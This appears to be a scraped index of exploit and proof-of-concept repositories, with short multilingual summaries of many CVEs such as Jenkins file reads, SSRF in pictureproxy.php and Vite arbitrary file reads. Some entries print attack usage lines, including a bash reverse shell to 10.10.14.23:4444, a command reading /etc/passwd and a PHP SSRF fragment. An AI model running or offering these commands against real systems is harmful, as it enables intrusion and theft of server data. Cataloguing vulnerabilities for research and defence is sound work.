web-check

Web-Check Comprehensive, on-demand open source intelligence for any website 🌐web-check.xyz Kindly supported by: Terminal Trove The $HOME of all things in the terminal | Warp Built for coding with multiple AI agents ---|--- Contents About Screenshot Live Demo Mirror Features Usage Deployment...

CVE-2022-22947

CVE-2022-22947 使い方: root@kitploit: python3 CVE-2022-22947.py url...

exploit-CVE-2016-8016-25

Linux版McAfee Virus Scanの複数のリモート脆弱性 本エクスプロイトおよびこのリポジトリ内の全コードは、MCAFEEのライセンス違反に関する問題を回避するために削除されました McAfee VirusScan Enterprise for Linuxは、McAfeeによるエンタープライズ向けアンチウイルスソリューションです。Linuxベースの独自のオンアクセススキャナが、システムに対する潜在的な攻撃を常時監視します。 脆弱性 VSEL 2.0.3（およびそれ以前）は、以下の公開済みセキュリティ脆弱性の影響を受けます。ENSL...

CVE-2022-22947

在王政代码基础上添加了，两种反弹shell，出网探测， 运行行时缺少什么模块。使用pip下载哪个模块就行了。 输入可疑的url地址，注意端口后面不要跟'/' 1.先检测是否存在漏洞 默认命令执行的是whoami，因为好多命令执行并不会回显，whoami若回显成功则存在漏洞 返回内容有root,确定存在漏洞 2.反弹shell 输入公网ip与端口 若反弹成功，此页面会卡住。 若反弹失败，会直接结束 3.测试出网， 是为了功能4准备的 默认访问百度页面 4.使用java代码反弹shell 若不能反弹shell，可能不支持/dev/tcp...

CVE-2019-8451

CVE-2019-8451 https://jira.atlassian.com/browse/JRASERVER-69793 root@kitploit: http://host:port/plugins/servlet/gadgets/makeRequest?url=http://:@'.formathost, port, target https://host:port/plugins/servlet/gadgets/makeRequest?url=https://:@'.formathost, port, target...

Jenkins-CVE-2024-23897-

使用コマンド:python 3 CVE-2024-23897 . py-l 2 . txt-f/etc/passwd（URLを2.txtに書き込めば一括処理可能）...

CVE-2024-36527

CVE-2024-36527 PoCおよびバルクスキャナー 概要 CVE-2024-36527のPoC: puppeteer-renderer v.3.2.0以前はディレクトリトラバーサルの脆弱性があります。攻撃者はファイルプロトコルを使用してURLパラメータを悪用し、サーバーから機密情報を読み取ることができます。 セキュリティアドバイザリはZac Wang によって公開され、PoCはM Ali によって作成されました。 使用方法 単一ターゲットスキャン 単一のターゲットエンドポイントをスキャンするには: root@kitploit: python cve-2024-36527.py -...

CVE-2021-3131

CVE-2021-3131 推奨される説明 8.3.17.1851 より前の 1C:Enterprise 8 の Web サーバーは、'creds' URL パラメーターで base64 エンコードされた資格情報を送信します。 脆弱性タイプ その他 CWE-522 不十分に保護された資格情報 製品のベンダー 1C Company 影響を受ける製品コードベース 1C:Enterprise 8 - テスト済み: 8.3.17.1851 影響を受けるコンポーネント Web サーバー 影響 情報漏えい true ベンダーは脆弱性を確認または認識していますか? true 発見者 Irina...

CVE-2021-22941

使用方法 python3 exploit -u url --shell http://127.0.0.1/shell --ping 127.0.0.1 参考 https://codewhitesec.blogspot.com/2021/09/citrix-sharefile-rce-cve-2021-22941.html...

CVE-2025-55182-exploit

CVE-2025-55182-exploit TL;DR 此工具仅用于合法的渗透测试目的。请勿参与任何非法活动。 使用方法 python3 exploit.py 演示视频...

CVE-2023-51214

推奨説明 PHP v.1を使用したWebアプリケーションでのアクティビティログ実装におけるクロスサイトスクリプティングの脆弱性により、リモートの攻撃者が細工されたペイロードをURLに送信することで任意のコードを実行できる可能性があります。 脆弱性タイプ クロスサイトスクリプティング XSS 製品ベンダー sourcecodester.com 影響を受ける製品 PHPを使用したWebアプリでのアクティビティログ実装 - v1 影響を受けるコンポーネント URL 攻撃タイプ リモート 影響：コード実行 true 攻撃ベクター 詳細不要 参照...

CVE-2024-27564

CVE-2024-27564 描述： pictureproxy.php 存在一个漏洞，允许远程攻击者通过向 url 参数注入 URL 来执行任意请求。此 SSRF 漏洞无需身份验证即可利用，因此尤为危险。 漏洞代码位于 pictureproxy.php 文件中。问题在于该函数未正确验证 url 参数。$GET'url' 变量被传递给 filegetcontents 函数，该函数会从指定 URL 获取内容。这可能导致 SSRF。 PoC: root@kitploit: ?php if isset$GET'url' $image = filegetcontents$GET'url';...

CVE-2025-30208-Series

CVE-2025-30208 & CVE-2025-31125 & CVE-2025-31486 1. 漏洞概述 CVE-2025-30208, CVE-2025-31125和CVE-2025-31486是Vite 开发服务器中的一个任意文件读取漏洞。该漏洞允许攻击者通过特定的 URL 参数绕过访问控制，通过fs模块读取服务器上的敏感文件。上述三个漏洞可以算作是一个系列的漏洞，因为造成漏洞的原因非常相似。 CVE-2025-30208影响版本如下所示 root@kitploit: =6.2.0, =6.1.0, =6.0.0, =5.0.0, =6.2.0, =6.1.0, =6.0.0...

compaXSS

CompaXSS 绕过 XSS 反射型跨站脚本 ======= root@kitploit: Example: python compaxss.py --url https://support.snapchat.com/login?next=-run 开发者 Jose Pino - @jofpin Juan Eljach - @juaneljach...

cve-2025-4664

CVE-2025-4664 此仓库包含用于利用 CVE-2025-4664 的 PoC。该漏洞可使基于 Chromium 的浏览器通过 Link 标头预加载请求泄露敏感的 URL 参数。 资源 有关此漏洞利用原理的详细说明，请阅读博客文章：https://amalmurali.me/posts/cve-2025-4664e。 观看以下视频以了解整个流程： 文件 target.py - 存在漏洞的 Web 应用程序 idp.py - SSO 身份提供程序 attacker.py - 记录已泄漏令牌的恶意服务器 templates/ - 演示所用的 HTML 模板 static/ -...

SSRF-Exploit-CVE-2024-27564

SSRF-Exploit-CVE-2024-27564 项目标题 本项目演示了 pictureproxy.php 文件中的一个服务器端请求伪造（SSRF）漏洞。 描述 pictureproxy.php 中的一个漏洞允许远程攻击者通过向 url 参数注入 URL 来执行任意请求。此 SSRF 漏洞可在无需身份验证的情况下被利用，因此尤为危险。 存在漏洞的代码位于 pictureproxy.php 文件中。问题在于该函数未正确验证 url 参数。$GET'url' 变量被传递给 filegetcontents 函数，该函数会从指定 URL 获取内容。这可能导致 SSRF。 概念验证...

CVE-2024-47533

root@kitploit: Reverse shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Simple command python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Drop SSH key python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd...

CVE-2026-90581 cym1102 nginxWebUI autoUpdate MainController.autoUpdate code injection

A vulnerability was determined in cym1102 nginxWebUI up to 4.4.2. This issue affects the function MainController.autoUpdate of the file /adminPage/main/autoUpdate. This manipulation of the argument url causes code injection. Remote exploitation of the attack is possible. The exploit has been...

CVE-2026-90581

nginxWebUI (by cym1102, versions up to 4.4.2 ) is vulnerable to code injection in the MainController.autoUpdate function located at /adminPage/main/autoUpdate. The root cause is manipulation of the url argument, allowing a remote attacker with low privileges (no user interaction required) to exec...

CVE-2024-50961

敏感数据泄露 CVE-2024-50961 描述 在 DonWeb Ferozo Hosting v1.1 中，远程攻击者可以利用 URL 参数访问敏感数据，包括数据库凭据。攻击向量包括网络嗅探、服务器日志和浏览器历史记录，可能使组织面临重大安全漏洞和数据保护违规。通过 HTTPS 和安全的日志记录实践进行缓解至关重要。 攻击复杂度 低 所需权限 无 （未经身份验证的远程攻击者可以利用此漏洞。） 用户交互 不需要 受影响的组件 URL 参数处理 ：漏洞在于 URL 参数的处理方式，可能导致敏感数据泄露。 影响 数据泄露 ：暴露敏感数据，如数据库凭据。 监管风险...